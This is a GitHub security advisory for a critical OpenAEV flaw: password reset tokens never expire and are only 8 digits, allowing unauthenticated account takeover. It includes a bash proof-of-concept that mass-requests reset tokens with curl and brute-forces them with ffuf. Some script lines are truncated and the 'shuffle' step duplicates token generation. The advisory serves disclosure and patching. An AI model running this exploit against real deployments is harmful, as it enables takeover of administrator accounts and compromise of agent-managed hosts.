# Improper Password Reset Token Management Leads to Unauthenticated Account Takeover and Platform Compromise

Critical **antoinemzs** published **GHSA-vcjx-vw28-25p2** 9 hours ago

**Package**

**src/main/java/io/openaev/rest/user/UserApi.java** (OpenAEV)

| Affected versions | Patched versions |
|---|---|
| > 1.0.0 | 2.0.13 |

**Description**

## Summary

OpenAEV’s password reset mechanism contains a security flaw that permits unauthenticated users to arbitrarily reset the passwords of registered accounts when the corresponding emails are known, resulting in complete account compromise.

## Details

OpenAEV's password reset implementation contains multiple security weaknesses that together allow reliable account takeover.

The primary issue is that password reset tokens do not expire. Once a token is generated, it remains valid indefinitely, even if significant time has passed or if newer tokens are issued for the same account. This allows an attacker to accumulate valid password reset tokens over time and reuse them at any point in the future to reset a victim’s password. The vulnerable function is UserApi.java:passwordReset

A secondary weakness is that password reset tokens are only 8 digits long. While an 8-digit numeric token provides 100,000,000 possible combinations (which is secure enough), the ability to generate large numbers of valid tokens drastically reduces the required number of attempts to guess a valid password reset token. For example, if an attacker generates 2,000 valid tokens, the brute-force effort is reduced to approximately 50,000 attempts, which is a trivially achievable number of requests for an automated attack. (100 requests per second can mathematically find a valid password reset token in 500 seconds.)

By combining these flaws, an attacker can mass-generate valid password reset tokens and then brute-force them efficiently until a match is found, allowing the attacker to reset the victim's password to a value of their choosing. The original password is not required, and the attack can be performed entirely without authentication.

This vulnerability enables full account takeover that leads to platform compromise. An unauthenticated remote attacker can reset the password of any registered user account and gain complete access without authentication. Because user email addresses are exposed to other users by design, a single guessed or observed email address is sufficient to compromise even administrator accounts with non-guessable email addresses.

This design flaw results in a reliable and scalable account takeover vulnerability that affects any registered user account in the system.

All versions of OpenAEV is affected, the vulnerability was introduced in this commit.

Note: The vulnerability does not require OpenAEV to have the email service configured.
Note: The exploit does not depend on the target email address to be a real email address. It just needs to be registered to OpenAEV. (like a username)

## PoC

Notice: The video in poc.zip demonstrates the exploit so that the reviewer does not have to recreate the exploit themselves if they don't want to. It also works as a guide if they do want to verify that it works. The zip is password protected as I believe GitHub allows anyone to access files uploaded via the Security Advisory's "link a file" functionality. The password is `#fz$qpr3p*sE4tM@qNfG`.

Step 0: Make sure you are on a Linux system.

Step 1: Install `ffuf`

Step 2: Install OpenAEV with your preferred method (e.g. docker compose) and note down the created admin account email. In the docker compose case, this account is created based on the .env file.

Step 3: Make sure OpenAEV is reachable on localhost:8080 from the attacker machine.

Step 4: Save the following script in a file (e.g. exploit.sh)

```
#!/bin/env bash

if [ -z "$1" ]; then
```

```
    echo "Provide an email address that is registered to OpenAEV (e.g. admin@organizatio
    exit
fi

echo "Generating all possible 8 digit tokens locally, this requires 1 GB of disk space"
printf "%08d\n" {0..99999999} > tokens

echo "Shuffling the tokens for higher chance of a hit"
printf "%08d\n" {0..99999999} > tokens

echo "Generating around 2.000 password reset tokens, reducing number of required attempt
for i in {1..40}; do
    for k in {1..50}; do
        (curl --connect-timeout 10 http://localhost:8080/api/reset -d '{"login": "'$1'"}
        sleep 0.1
    done
    #sleep 12  # wait for OpenAEV to process

    echo "Making sure the OpenBAS server finishes processing our requests"
    generating=true
    while $generating; do
        if [ "1" -eq $(ps aux | grep curl | wc -l) ]; then
            generating=false  # break the loop
        fi
        sleep 3
    done

    echo "Created "$((i*50))" password reset tokens"
done

echo "Password reset token generation is completed"

echo "Running ffuf to bruteforce password reset tokens **as fast as possible** instead o
echo "If ffuf returns a 200, this means the password has changed, you can exit, new cred
ffuf -H 'Content-Type: application/json' -u http://localhost:8080/api/reset/FUZZ -w toke
```

Step 5: Run exploit.sh with `bash exploit.sh <registered_openaev_account>`

Step 6: Wait until 2000 password reset tokens are generated and ffuf returns a request with response code 200. Be patient as this takes time.

Step 7: When ffuf returns with a response code 200, Control-C the exploit.sh process and try logging in with credentials `<registered_openaev_email>:PasswordChanged!`

## Impact

Successful exploitation allows an unauthenticated remote attacker to access sensitive data (such as the Findings section of a simulation), modify payloads executed by deployed agents to compromise all hosts where agents are installed (therefore the Scope is changed).

### Severity

Critical 9.1 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | High |
| Privileges required | None |
| User interaction | None |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | High |

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

### CVE ID

CVE-2026-24467

### Weaknesses

▶ CWE-640

### Credits

**Dogru-Isim** Finder

**antoinemzs** Remediation developer